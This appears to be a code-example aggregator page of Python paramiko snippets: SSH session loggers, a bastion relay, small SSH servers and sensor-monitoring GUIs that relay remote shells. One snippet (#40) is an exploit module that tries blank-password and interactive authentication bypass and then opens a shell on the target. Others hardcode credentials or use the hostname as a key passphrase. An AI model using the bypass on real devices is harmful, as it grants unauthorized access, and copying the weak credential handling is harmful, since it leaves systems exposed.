                    # 锁,当有输入的时候,锁定输入进程
                    flag = fcntl.fcntl(sys.stdin, fcntl.F_GETFL, 0)
                    fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)
                except Exception as err:
                    print("select error {}".format(err))

                if self.channel in r:
                    try:
                        x = self.channel.recv(10240)
                        if len(x) == 0:
                            break
                        # 当有vim编辑文件时,记录相应信息
                        if self.vim_flag:
                            self.vim_data += u(x)

                        index = 0
                        len_x = len(x)
                        while index < len_x:
                            try:
                                n = os.write(sys.stdout.fileno(), x[index:])
                                sys.stdout.flush()
                                index += n
                            except OSError as msg:
                                if msg.errno == errno.EAGAIN:
                                    continue
                        now_timestamp = time.time()
                        # round四舍五入,保留一位小数点 5.667 --> 6.0,可以指定保留小数位数
                        # routd(num, 4)表示保留4位有效数字
                        #                         log_time_f.write('%s %s\n' % (round(now_timestamp - pre_timestamp, 4), len(x)))
                        # 将信息写入到time日志文件中
                        log_time_f.write(
                            ('%s %s\n' % (round(now_timestamp - pre_timestamp,
                                                4), len(x))).encode())
                        log_time_f.flush()
                        # 将操作信息写入到log日志记录文件中
                        # flush刷新文件,将缓存中的信息写入到文件中
                        log_file_f.write(x)
                        log_file_f.flush()
                        pre_timestamp = now_timestamp
                        log_file_f.flush()

                        # 持续输入,如果位输入模式,并且没有输入enter等
                        if input_mode and not self.is_output(x):
                            data += x.decode()

                    except socket.timeout:
                        pass

                if sys.stdin in r:
                    try:
                        x = os.read(sys.stdin.fileno(), 4096)
                    except OSError:
                        pass
                    input_mode = True
                    if str(x.decode()) in ['\r', '\n', '\r\n']:
                        if self.vim_flag:
                            match = self.ps1_pattern.search(self.vim_data)
                            if match:
                                self.vim_flag = False
                                data = self.deal_command(data)[0:200]
                                if len(data) > 0:
                                    now_timestamp = datetime.datetime.now(
                                    ).strftime(TIME_FORMAT)
                                    log_input_f.write(
                                        ('%s: %s\n' %
                                         (now_timestamp, data)).encode())
                                    log_input_f.flush()
                                    # TtyLog(log=log, datetime=datetime.datetime.now(), cmd=data).save()
                        else:
                            data = self.deal_command(data)[0:200]
                            if len(data) > 0:
                                now_timestamp = datetime.datetime.now(
                                ).strftime(TIME_FORMAT)
                                log_input_f.write(
                                    ('%s: %s\n' %
                                     (now_timestamp, data)).encode())
                                log_input_f.flush()
                                # TtyLog(log=log, datetime=datetime.datetime.now(), cmd=data).save()
                        data = ''
                        self.vim_data = ''
                        input_mode = False

                    if len(x) == 0:
                        break
                    self.channel.send(x)

        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)

            log_file_f.write(
                ("End time is %s" % datetime.datetime.now()).encode())
            log_file_f.close()
            log_time_f.close()
            log_input_f.close()
예제 #35
0
파일: client.py 프로젝트: add1ct3d/sshaolin
from types import MethodType
from uuid import uuid4
import six
import threading
import time

from paramiko import AutoAddPolicy, RSAKey
from paramiko.client import SSHClient as ParamikoSSHClient
from paramiko import py3compat

from sshaolin import common
from sshaolin.models import CommandResponse

# this is a hack to preimport dependencies imported in a thread during connect
# which causes a deadlock. https://github.com/paramiko/paramiko/issues/104
py3compat.u("".encode())

# dirty hack 2.0 also issue 104
# Try / Catch to prevent users using paramiko<2.0.0 from raising an ImportError
try:
    from cryptography.hazmat.backends import default_backend
    from cryptography.utils import int_from_bytes
    int_from_bytes(b"a", "big")
    default_backend()
except ImportError:
    pass


class CommandOperationTimeOut(socket.timeout):
    pass
예제 #36
0
from paramiko.py3compat import u
from spacecmd.sshserver import SSHServer
from spacecmd.commands import Ls, Cd, Whoami
from spacecmd.middleware.welcome import WelcomeMiddleware
from spacecmd.util import chunks
from spacecmd.logger import log

# logging.basicConfig(level=logging.INFO, format='%(levelname)s %(threadName)s %(message)s')
# log.s/etLevel(logging.INFO)

HOST_ADDRESS = ''
PORT = 2200

if __name__ == "__main__":
    host_key = paramiko.RSAKey(filename='test_rsa.key')
    fingerprint = ":".join(chunks(u(hexlify(host_key.get_fingerprint())), 2))
    log.info(f'Read host key fingerprint={fingerprint}')
    log.debug(f'Read host key fingerprint={fingerprint}')
    server = SSHServer(
        address=HOST_ADDRESS,
        port=PORT,
        host_key=host_key,
        middleware=[WelcomeMiddleware],
        commands=[
            Ls,
            Cd,
            Whoami,
        ],
    )
    server.listen()
예제 #37
0
        if os.path.isfile(key_file) is False:
            print("Key file does not exist: {:s}".format(key_file))
            sys.exit(1)
        print("Using {:s}".format(key_file))

    if os.path.isfile(key_file):
        host_key = paramiko.RSAKey(filename=key_file, password=socket.gethostname())
    else:
        print("Generating host key...")
        host_key = paramiko.RSAKey.generate(bits=key_bits)
        if savestate is not False:
            print("Saving generated key as {:s}".format(key_file))
            host_key.write_private_key_file(key_file, password=socket.gethostname())
    keyhash = hexlify(host_key.get_fingerprint())
    if pyV is 3:
        keyhash = u(keyhash)
    print("Host fingerprint: {:s}".format((":".join([keyhash[i:2+i] for i in range(0, len(keyhash), 2)]))))

    if args['--log'] is not None:
        logfile = str(args['--log'])
        print("Logging is on: {:s}".format(logfile))
        paramiko.util.log_to_file(logfile) #Enable logging

    if args['--port'] is not None:
        host_port = int(args['--port'])

    print("Listening for connections on port {:d}...".format(host_port))
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('', host_port))
예제 #38
0
def connectPi():
    global adc_value1, adc_value2, ptr, run_started, client, wifi

    # # first check if biathlon_rifle is current network
    # if "biathlon_rifle" in subprocess.check_output("iwgetid -r"):
    # 	print("Connected to rifle!")
    # else:
    # 	print("Please connect to the rifle.")
    # 	sys.exit(1)

    # setup logging
    paramiko.util.log_to_file('demo_simple.log')

    # check if the biathlon rifle is within range
    import objc

    objc.loadBundle(
        'CoreWLAN',
        bundle_path='/System/Library/Frameworks/CoreWLAN.framework',
        module_globals=globals())

    iface = CWInterface.interface()

    networks, error = iface.scanForNetworksWithName_error_(
        'biathlon_rifle', None)

    # if no error, biathlon rifle is nearby
    # if str(error) == 'None':
    # 	print('Biathlon rifle is nearby.')
    # else:
    # 	print('Biathlon rifle is not nearby, please try and get closer to connect.')
    # 	sys.exit(2)

    # returns list of nearby networks
    network_list = os.popen(
        "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport --scan | awk '{print $1}'"
    )

    # is rifle nearby? initialize to false.
    rifle_nearby = False

    while 1:
        line = network_list.readline()
        if line == 'biathlon_rifle\n':
            rifle_nearby = True
        if not line:
            break

    # if rifle is nearby, proceed
    if rifle_nearby == True:
        print('Biathlon rifle is nearby.')
    else:
        print(
            'Biathlon rifle is not nearby, please try and get closer to connect.'
        )
        sys.exit(2)

    network = networks.anyObject()

    # if not currently connected to rifle, try to connect to it
    # returns currently connected wifi network
    current_network = os.popen(
        "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}'"
    )

    # check if we are currently connected to rifle, if not then try to connect to it
    connected_to_rifle = False
    while 1:
        line = current_network.readline()
        if line == 'biathlon_rifle\n':
            connected_to_rifle = True
        if not line:
            break

    if connected_to_rifle == False:
        # if no error, successfully connected to rifle
        success, error = iface.associateToNetwork_password_error_(
            network, 'biathlon', None)
        if str(error) == 'None':
            print('Successfully connected to rifle!')
        else:
            print('Unable to connnect to rifle')
            sys.exit(2)
    else:
        print('Already connected to rifle!')

    # Paramiko client configuration
    UseGSSAPI = paramiko.GSS_AUTH_AVAILABLE  # enable "gssapi-with-mic" authentication, if supported by your python installation
    DoGSSAPIKeyExchange = paramiko.GSS_AUTH_AVAILABLE  # enable "gssapi-kex" key exchange, if supported by your python installation
    # UseGSSAPI = False
    # DoGSSAPIKeyExchange = False

    # adc_value initialized for two channels
    adc_value1_temp = 0
    adc_value2_temp = 0
    time = 0

    # now, connect and use paramiko Client to negotiate SSH2 across the connection
    try:
        # get hostname
        username = '******'
        password = '******'
        hostname = '192.168.4.1'
        port = 22

        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.WarningPolicy())
        print('*** Starting ssh...')
        if not UseGSSAPI and not DoGSSAPIKeyExchange:
            client.connect(hostname, port, username, password)
        else:
            try:

                client.connect(hostname,
                               port,
                               username,
                               gss_auth=UseGSSAPI,
                               gss_kex=DoGSSAPIKeyExchange)
            except Exception:
                # traceback.print_exc()
                password = getpass.getpass('Password for %s@%s: ' %
                                           (username, hostname))
                client.connect(hostname, port, username, password)

        chan = client.invoke_shell()
        # print(repr(client.get_transport()))
        print('*** Successfully started ssh!')
        run_started = True

        # send relevant messages to start adc reading and print to terminal
        # in the future this will be synchronized with animated graph
        import select

        oldtty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            tty.setcbreak(sys.stdin.fileno())
            chan.settimeout(0.0)
            # send command to Pi to trigger data collection and gather the results through ssh
            chan.send('python ~/biathlon/demo_readvoltage.py\n')
            while True:
                r, w, e = select.select([chan, sys.stdin], [], [])
                if chan in r:
                    try:
                        x = u(chan.recv(1024))
                        if len(x) == 0:
                            sys.stdout.write('\r\n*** EOF\r\n')
                            break

                        # save numbers once they start coming in, we assume both sensors are always connected
                        # first check to see if both sensors are attached
                        # zero attached
                        # if len(x.split(' ')) == 2:
                        # 	print('No sensors attached!')
                        # only one attached
                        if len(x.split(' ')) == 3:
                            # check which one is attached
                            if x[:3] == 'Ch1':
                                adc_value1_temp = float(x.split(' ')[1])
                                adc_value1.append(adc_value1_temp)
                            elif x[:3] == 'Ch2':
                                adc_value2_temp = float(x.split(' ')[1])
                                adc_value2.append(adc_value2_temp)
                            ptr += 1
                            print(x + '\r')

                        # both attached
                        elif len(x.split(' ')) == 4:
                            adc_value1_temp = float(x.split(' ')[1])
                            adc_value1.append(adc_value1_temp)
                            adc_value2_temp = float(x.split(' ')[3])
                            adc_value2.append(adc_value2_temp)
                            ptr += 1
                            print(x + '\r')

                    except socket.timeout:
                        pass
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.send(x)
                    chan.close()
                    client.close()

        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
    except Exception as e:
        print('*** Caught exception: %s: %s' % (e.__class__, e))
        traceback.print_exc()
        try:
            client.close()
        except:
            pass
        sys.exit(1)
예제 #39
0
    def info_hub(self, user, host, passwd='123'):
        ''' 连接后端服务器 '''
        try:
            log.info('connect host ...')
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(host,
                        port=22,
                        username=user,
                        password=passwd,
                        compress=True)
            self.bchan = ssh.invoke_shell(term='vt100',
                                          width=self.fchan.win_width,
                                          height=self.fchan.win_height)
            self.fchan.send('\r\n')
        except paramiko.ssh_exception.BadHostKeyException:
            log.error(u"The server's host key could not be verified")
            return 1
        except paramiko.ssh_exception.AuthenticationException:
            log.error(u"Authentication failed")
            return 1
        except paramiko.ssh_exception.SSHException:
            log.error(u"Other error connecting or establishing an SSH session")
            return 1
        except Exception:
            log.error(u"A socket error occurred while connecting")
            return 1

        if self.bchan is None:
            return 1
        ''' 注册前端channel和后端channel到事件驱动 '''
        self.sel.register(self.fchan, selectors.EVENT_READ)
        self.sel.register(self.bchan, selectors.EVENT_READ)
        while True:
            events = self.sel.select()
            ''' 
                self.fchan.event is set in server.py 

                通过线程事件监控用户窗口是否变化,变化则重绘窗口
            '''
            if self.fchan.event.is_set():
                self.fchan.event.clear()
                width = self.fchan.win_width
                height = self.fchan.win_height
                self.bchan.resize_pty(width, height)
            ''' 监听channel '''
            if self.fchan in [t[0].fileobj for t in events]:
                try:
                    x = u(self.fchan.recv(1024))
                    if len(x) == 0:
                        self.fchan.send(
                            '\r\n*** Welcome next time ***\r\n\r\n')
                        break
                    self.bchan.send(x)
                except Exception:
                    log.error('fchan error')
            if self.bchan in [t[0].fileobj for t in events]:
                try:
                    x = u(self.bchan.recv(1024))
                    if len(x) == 0:
                        self.fchan.send('Connection to %s closed.' % host)
                        break
                    self.fchan.send(x)
                except Exception:
                    log.error('bchan error')
예제 #40
0
    def run(self):
        print_status("Running module")

        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            client.connect(self.target,
                           username='',
                           allow_agent=False,
                           look_for_keys=False)
        except paramiko.ssh_exception.SSHException:
            pass

        trans = client.get_transport()
        try:
            trans.auth_password(username='******',
                                password='',
                                event=None,
                                fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        except:
            print_status("Error with Existing Session. Wait few minutes.")
            return

        try:
            trans.auth_interactive(username='******',
                                   handler=self.custom_handler)
            chan = client.invoke_shell()
        except:
            print_error("Exploit failed")
            return

        print_success("Exploit succeeded")
        oldtty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            tty.setcbreak(sys.stdin.fileno())
            chan.settimeout(0.0)

            while True:
                r, w, e = select.select([chan, sys.stdin], [], [])
                if chan in r:
                    try:
                        x = u(chan.recv(1024))
                        if len(x) == 0:
                            sys.stdout.write('\r\n*** EOF\r\n')
                            break
                        sys.stdout.write(x)
                        sys.stdout.flush()
                    except socket.timeout:
                        pass
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.send(x)

        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #41
0
def posix_shell(chan, channel, width=90, height=40):
    from OMBA.asgi import channel_layer
    stdout = list()
    begin_time = time.time()
    last_write_time = {'last_activity_time': begin_time}
    try:
        chan.settimeout(0.0)
        while True:
            try:
                x = u(chan.recv(1024))
                if len(x) == 0:
                    channel_layer.send(
                        channel,
                        {
                            'text': json.dumps(
                                [
                                    'disconnect',
                                    smart_unicode('\r\n*** EOF\r\n')
                                ]
                            )
                        }
                    )
                    break
                now = time.time()
                delay = now - last_write_time['last_activity_time']
                last_write_time['last_activity_time'] = now
                if x == "exit\r\n" or x == "logout\r\n" or x == 'logout':
                    chan.close()
                else:
                    stdout.append(
                        [
                            delay,
                            codecs.getincrementaldecoder('UTF-8')('replace').decode(x)
                        ]
                    )
                channel_layer.send(
                    channel,
                    {
                        'text': json.dumps(
                            [
                                'stdout',
                                smart_unicode(x)
                            ]
                        )
                    }
                )
            except socket.timeout:
                pass
            except Exception, e:
                channel_layer.send(
                    channel,
                    {
                        'text': json.dumps(
                            [
                                'stdout',
                                'A bug find, You can report it to me' + smart_unicode(e)
                            ]
                        )
                    }
                )
    finally:
        pass
예제 #42
0
    def readline(self, size=None):
        """
        Read one entire line from the file.  A trailing newline character is
        kept in the string (but may be absent when a file ends with an
        incomplete line).  If the size argument is present and non-negative, it
        is a maximum byte count (including the trailing newline) and an
        incomplete line may be returned.  An empty string is returned only when
        EOF is encountered immediately.

        .. note::
            Unlike stdio's ``fgets``, the returned string contains null
            characters (``'\\0'``) if they occurred in the input.

        :param int size: maximum length of returned string.
        :returns:
            next line of the file, or an empty string if the end of the
            file has been reached.

            If the file was opened in binary (``'b'``) mode: bytes are returned
            Else: the encoding of the file is assumed to be UTF-8 and character
            strings (`str`) are returned
        """
        # it's almost silly how complex this function is.
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File not open for reading')
        line = self._rbuffer
        truncated = False
        while True:
            if (
                self._at_trailing_cr and
                self._flags & self.FLAG_UNIVERSAL_NEWLINE and
                len(line) > 0
            ):
                # edge case: the newline may be '\r\n' and we may have read
                # only the first '\r' last time.
                if line[0] == linefeed_byte_value:
                    line = line[1:]
                    self._record_newline(crlf)
                else:
                    self._record_newline(cr_byte)
                self._at_trailing_cr = False
            # check size before looking for a linefeed, in case we already have
            # enough.
            if (size is not None) and (size >= 0):
                if len(line) >= size:
                    # truncate line
                    self._rbuffer = line[size:]
                    line = line[:size]
                    truncated = True
                    break
                n = size - len(line)
            else:
                n = self._bufsize
            if (
                linefeed_byte in line or
                (
                    self._flags & self.FLAG_UNIVERSAL_NEWLINE and
                    cr_byte in line
                )
            ):
                break
            try:
                new_data = self._read(n)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                self._rbuffer = bytes()
                self._pos += len(line)
                return line if self._flags & self.FLAG_BINARY else u(line)
            line += new_data
            self._realpos += len(new_data)
        # find the newline
        pos = line.find(linefeed_byte)
        if self._flags & self.FLAG_UNIVERSAL_NEWLINE:
            rpos = line.find(cr_byte)
            if (rpos >= 0) and (rpos < pos or pos < 0):
                pos = rpos
        if pos == -1:
            # we couldn't find a newline in the truncated string, return it
            self._pos += len(line)
            return line if self._flags & self.FLAG_BINARY else u(line)
        xpos = pos + 1
        if (
            line[pos] == cr_byte_value and
            xpos < len(line) and
            line[xpos] == linefeed_byte_value
        ):
            xpos += 1
        # if the string was truncated, _rbuffer needs to have the string after
        # the newline character plus the truncated part of the line we stored
        # earlier in _rbuffer
        if truncated:
            self._rbuffer = line[xpos:] + self._rbuffer
        else:
            self._rbuffer = line[xpos:]

        lf = line[pos:xpos]
        line = line[:pos] + linefeed_byte
        if (len(self._rbuffer) == 0) and (lf == cr_byte):
            # we could read the line up to a '\r' and there could still be a
            # '\n' following that we read next time.  note that and eat it.
            self._at_trailing_cr = True
        else:
            self._record_newline(lf)
        self._pos += len(line)
        return line if self._flags & self.FLAG_BINARY else u(line)
예제 #43
0
파일: gui.py 프로젝트: psas/tsar-software
def init_paramiko():
    # needed parameters for connection
    port = 22
    hostname = 'beaglebone'
    username = '******'
    password = '******'
    ##############################
    #determine if we are in linux or windows
    try:
        import termios
        import tty

        has_termios = True
    except ImportError:
        has_termios = False

    try:
        global chan
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.WarningPolicy())
        print("*** Connecting...")
        client.connect(hostname, port, username, password)

        chan = client.invoke_shell()
        print(repr(client.get_transport()))
        output.insert("end-1c", '*** SSH Connection to BB_AI stablished ***\n')
        chan.send('python3 bb.py\n')
        print("*** SSH Connection to BB_AI stablished!\n")
        ###########################################################################
        if has_termios:
            import select

            oldtty = termios.tcgetattr(sys.stdin)
            try:
                tty.setraw(sys.stdin.fileno())
                tty.setcbreak(sys.stdin.fileno())
                chan.settimeout(0.0)

                while True:
                    r, w, e = select.select([chan, sys.stdin], [], [])
                    if chan in r:
                        try:
                            c = 0
                            x = u(chan.recv(1024))
                            if len(x) == 0:
                                sys.stdout.write("\r\n*** Done ***\r\n")
                                chan.close()
                                client.close()
                                break

                            #strip non useful info
                            if c <= 1:
                                data = data[400:]
                                c += 1
                            if str(data).startswith('debian@beaglebone:~$'):
                                data = str(data).replace(
                                    'debian@beaglebone:~$ python3 bb.py', ' ')
                            if str(data).startswith('python3'):
                                data = str(data).replace('python3 bb.py', ' ')

                            if start_parsing:
                                # Parse the sensor values
                                if 'Sensor' in str(data):
                                    #change the box color to red to indicate warning
                                    if float(data[16:19]) > 1.0:
                                        box1["bg"] = "#fb9898"  #light red
                                        box1["fg"] = "black"
                                        box1.insert(END, "")
                                        #box_color_change("red", "black", "box1")
                                    box1.delete(1.0, END)
                                    box1.insert('1.0', data[16:19])
                                    #
                                    box2.delete(1.0, END)
                                    box2.insert("1.0", data[20:23])
                                    #
                                    box3.delete(1.0, END)
                                    box3.insert("1.0", data[24:27])
                                    #
                                    box4.delete(1.0, END)
                                    box4.insert("1.0", data[28:31])
                                    #
                                    box5.delete(1.0, END)
                                    box5.insert("1.0", data[32:35])
                                    #
                                    box6.delete(1.0, END)
                                    box6.insert("1.0", data[36:39])
                                    #
                                    '''
                                    box7.delete(1.0, END)
                                    box7.insert("1.0",data[40:43])
                                    #
                                    
                                    box8.delete(1.0, END)
                                    box8.insert("1.0",data[44:47])
                                    #
                                    box9.delete(1.0, END)
                                    box9.insert("1.0",data[40:43])
                                    #
                                    box10.delete(1.0, END)
                                    box10.insert("1.0",data[44:47])
                                    #
                                    box11.delete(1.0, END)
                                    box11.insert("1.0",data[48:51])
                                    #
                                    box12.delete(1.0, END)
                                    box12.insert("1.0",data[52:55])
                                    #
                                    box13.delete(1.0, END)
                                    box13.insert("1.0",data[56:59])
                                    #
                                    box14.delete(1.0, END)
                                    box14.insert("1.0",data[60:63])
                                    #
                                    box15.delete(1.0, END)
                                    box15.insert("1.0",data[64:67])
                                    #
                                    box16.delete(1.0, END)
                                    box16.insert("1.0",data[68:71])
                                    '''
                            if 'Sensor' in str(x):
                                continue
                            output.insert("end-1c", x)
                            output.see("end")
                            #for testing
                            #print(x, end= '\r', flush= True)

                            #sys.stdout.write(x)
                            #sys.stdout.flush()
                        except socket.timeout:
                            pass
                if not ON:
                    return "Exiting GUI"

                #writing in console
                '''    
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.send(x)
                '''

            finally:
                termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)

        # if we are in a windows based environment
        else:

            def writeall(sock):
                count = 0
                while True:
                    data = sock.recv(9999).decode('utf8')
                    if not data or not ON:
                        sys.stdout.write("\r\n*** Done ***\r\n\r\n")
                        sys.stdout.flush()
                        chan.close()
                        client.close()
                        break
                    #strip non useful info
                    if count <= 1:
                        data = data[400:]
                        count += 1
                    if str(data).startswith('debian@beaglebone:~$'):
                        data = str(data).replace(
                            'debian@beaglebone:~$ python3 bb.py', ' ')
                    if str(data).startswith('python3'):
                        data = str(data).replace('python3 bb.py', ' ')

                    if start_parsing:
                        # Parse the sensor values
                        if 'Sensor' in str(data):
                            #change the box color to red to indicate warning
                            if float(data[16:19]) > 1.0:
                                box1["bg"] = "#fb9898"  #light red
                                box1["fg"] = "black"
                                box1.insert(END, "")
                                #box_color_change("red", "black", "box1")
                            box1.delete(1.0, END)
                            box1.insert('1.0', data[16:19])
                            #
                            box2.delete(1.0, END)
                            box2.insert("1.0", data[20:23])
                            #
                            box3.delete(1.0, END)
                            box3.insert("1.0", data[24:27])
                            #
                            box4.delete(1.0, END)
                            box4.insert("1.0", data[28:31])
                            #
                            box5.delete(1.0, END)
                            box5.insert("1.0", data[32:35])
                            #
                            box6.delete(1.0, END)
                            box6.insert("1.0", data[36:39])
                            #
                            '''
                            box7.delete(1.0, END)
                            box7.insert("1.0",data[40:43])
                            #
                            
                            box8.delete(1.0, END)
                            box8.insert("1.0",data[44:47])
                            #
                            box9.delete(1.0, END)
                            box9.insert("1.0",data[40:43])
                            #
                            box10.delete(1.0, END)
                            box10.insert("1.0",data[44:47])
                            #
                            box11.delete(1.0, END)
                            box11.insert("1.0",data[48:51])
                            #
                            box12.delete(1.0, END)
                            box12.insert("1.0",data[52:55])
                            #
                            box13.delete(1.0, END)
                            box13.insert("1.0",data[56:59])
                            #
                            box14.delete(1.0, END)
                            box14.insert("1.0",data[60:63])
                            #
                            box15.delete(1.0, END)
                            box15.insert("1.0",data[64:67])
                            #
                            box16.delete(1.0, END)
                            box16.insert("1.0",data[68:71])
                            '''
                    if 'Sensor' in str(data):
                        continue
                    output.insert("end-1c", data)
                    output.see("end")
                    #for testing
                    #print(data, end= '\r', flush= True)
                if not ON:
                    return "Exiting GUI"

            writer = threading.Thread(target=writeall, args=(chan, ))
            writer.start()

    except Exception as e:
        print("*** Caught exception: %s: %s" % (e.__class__, e))
        traceback.print_exc()
        try:
            client.close()
        except:
            pass
        sys.exit(1)
예제 #44
0
파일: tt.py 프로젝트: wuzhen922/bcloud
chan = tran.open_session()
# 获取一个终端
chan.get_pty()
# 激活器
chan.invoke_shell()

while True:
    # 监视用户输入和服务器返回数据
    # sys.stdin 处理用户输入
    # chan 是之前创建的通道,用于接收服务器返回信息
    readable, writeable, error = select.select([
        chan,
        sys.stdin,
    ], [], [], 1)
    if chan in readable:
        try:
            x = u(chan.recv(1024))
            if len(x) == 0:
                print('\r\n*** EOF\r\n')
                break
            sys.stdout.write(x)
            sys.stdout.flush()
        except socket.timeout:
            pass
    if sys.stdin in readable:
        inp = sys.stdin.readline()
        chan.sendall(inp)

chan.close()
tran.close()
예제 #45
0
def init_paramiko():
    # needed parameters for connection
    port = 22
    hostname = 'beaglebone'
    username = '******'
    password = '******'
    #For testing with usb
    #hostname = '192.168.7.2'
    ##############################
    #determine if we are in linux or windows
    try:
        import termios
        import tty

        has_termios = True
    except ImportError:
        has_termios = False

    try:
        global chan
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.WarningPolicy())
        print("*** Connecting...")
        client.connect(hostname, port, username, password)

        chan = client.invoke_shell()
        print(repr(client.get_transport()))
        output.insert("end-1c",
                      '*** SSH Connection to BB_AI stablished ***\n\n')
        global flag_1
        flag_1 = True  # This flag is created with the objective that Automatic Shutdown button can only
        # work if an SSH connection is actually stablished
        #chan.flush()
        chan.send('python3 multiprocessingbb.py\n')

        print("*** SSH Connection to BB_AI stablished!\n")
        #creating the log file
        #if  the file exist
        if path.exists("log_gui.txt"):
            #then append to the existing file
            file = open("log_gui.txt", "+a")
        else:
            #create a new one
            file = open("log_gui.txt", "+w")

        ###########################################################################
        if has_termios:
            import select

            oldtty = termios.tcgetattr(sys.stdin)
            try:
                tty.setraw(sys.stdin.fileno())
                tty.setcbreak(sys.stdin.fileno())
                chan.settimeout(0.0)

                while True:
                    r, w, e = select.select([chan, sys.stdin], [], [])
                    if chan in r:
                        try:
                            c = 0
                            x = u(chan.recv(1024).decode('utf8'))
                            if len(x) == 0:
                                sys.stdout.write("\r\n*** Done ***\r\n")
                                chan.close()
                                client.close()
                                break

                            #strip non useful info
                            #strip non useful info with a more specific approach is better
                            if 'The programs' in str(x) or 'GNU/Linux' in str(x) \
                                or 'exact distribution' in str(x) or '@beaglebone' in str(x) \
                                or 'python3' in str(x) or 'bb.py' in str(x):
                                length = len(x)
                                x = x[length:]

                            if 'PORTLAND' in str(x):
                                global sig
                                sig = True

                            # Once done slicing the greeting section lest get State status
                            #global sig
                            global count
                            if sig:
                                if count >= 1:
                                    chan.send('status\n')
                                    #global sig
                                    sig = False
                                #global count
                                count += 1

                            if 'State :' in str(x) or 'tate :' in str(x):
                                global state_preview
                                state_preview = x[8:].replace('[K', '')

                            if start_parsing:
                                box18.delete(1.0, END)
                                box18.insert("1.0", state_preview)
                                # Parse the sensor values
                                if 'Sensor' in str(x):
                                    #change the box color to red to indicate warning
                                    #for testing
                                    #x = x.split(' ')
                                    x = x + ' 0 1 2 1 1 2 1 0 0'

                                    s_val = x.replace('\x1b[F\r',
                                                      '').split(' ')

                                    #for testing only (for the case where we get less than 30 sensor values)
                                    if not len(s_val) == 41:
                                        while len(s_val) < 41:
                                            s_val.insert(32, '0')

                                    s_val = s_val[2:19] + s_val[32:41]
                                    s_val = map(float, s_val)
                                    s_val = list(s_val)



                                    obj_list = [box1, box2, box3, box4, box5, box6, box7, box8, box9, box10, box11, box12, box13, box14, box15, box16, \
                                                box17, c1, c2, c3, c4, c5, c6, c7, c8, c9]
                                    lenq = len(s_val)
                                    for index in range(len(s_val)):

                                        for index in range(0, 17):
                                            if s_val[index] > 1:
                                                #change the box color when outside valid range
                                                box_color_change(
                                                    obj_list[index], "#fb9898")
                                            # if the sensor value is withing the spected range then keep box color yellow
                                            obj_list[index].delete(1.0, END)
                                            obj_list[index].insert(
                                                '1.0', s_val[index])

                                        for index in range(17, 26):
                                            # if the valve is turned ON then light up GREEN
                                            if s_val[index] == 1:
                                                valve_position_color(
                                                    obj_list[index], "#58df52")
                                            # if the valve is turned OFF then light up BLUE
                                            elif s_val[index] == 0:
                                                valve_position_color(
                                                    obj_list[index], "blue")
                                            # if there is an error with the valve light up RED
                                            elif s_val[index] == 2:
                                                valve_position_color(
                                                    obj_list[index], "red")

                            if 'Sensor' in str(x):
                                continue
                            x = x.replace('[K', '')
                            output.insert("end-1c", x)
                            output.see("end")
                            #for testing
                            #print(x, end= '\r', flush= True)

                            #sys.stdout.write(x)
                            #sys.stdout.flush()
                        except socket.timeout:
                            pass
                if not ON:
                    return "Exiting GUI"

                #writing in console
                '''   
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.send(x)
                '''

            finally:
                termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
        #############################################################################
        # if we are in a windows.
        #############################################################################
        else:
            #global count

            def writeall(sock):
                global sig_to_resend
                while True:
                    data = ' '
                    data = sock.recv(9999).decode('utf8')
                    file.write(data + '\n')
                    if not data or not ON:
                        sys.stdout.write("\r\n*** Done ***\r\n\r\n")
                        sys.stdout.flush()
                        file.close()
                        chan.close()
                        client.close()
                        break

                    #Make sure we always have only one data packet
                    if 'Sensor' in data:

                        spl = data.split('\r')

                        #splitting the sensor values and adding the to a FIFO Queue
                        for index in range(len(spl)):
                            if len(spl[index]) > 0:
                                q.put(spl[index])

                    #for testing
                    #print(data, end= '\r', flush= True)

                    #strip non useful info with a more specific approach is better
                    if 'The programs' in str(data) or 'GNU/Linux' in str(data) \
                        or 'exact distribution' in str(data) or '@beaglebone' in str(data) \
                        or 'python3' in str(data) or 'bb.py' in str(data):
                        length = len(data)
                        data = data[length:]

                    if 'PORTLAND' in str(data):
                        global sig
                        sig = True

                    # Once done slicing the greeting section lest get State status
                    #global sig
                    global count

                    if sig:
                        #wait till next time around
                        if count >= 1:
                            chan.send('status\n')
                            #global sig
                            sig = False
                            #sig_to_resend = True
                        #global count
                        count += 1
                    #for testing
                    #print(data)

                    if 'State :' in str(data) or 'tate :' in str(data):
                        global state_preview
                        index = data.find(':')
                        if not index == -1:
                            state_preview = str(data[index + 1:]).replace(
                                '[K', '').replace('\x1b', ' ')
                            #for testing
                            print(state_preview)
                        else:
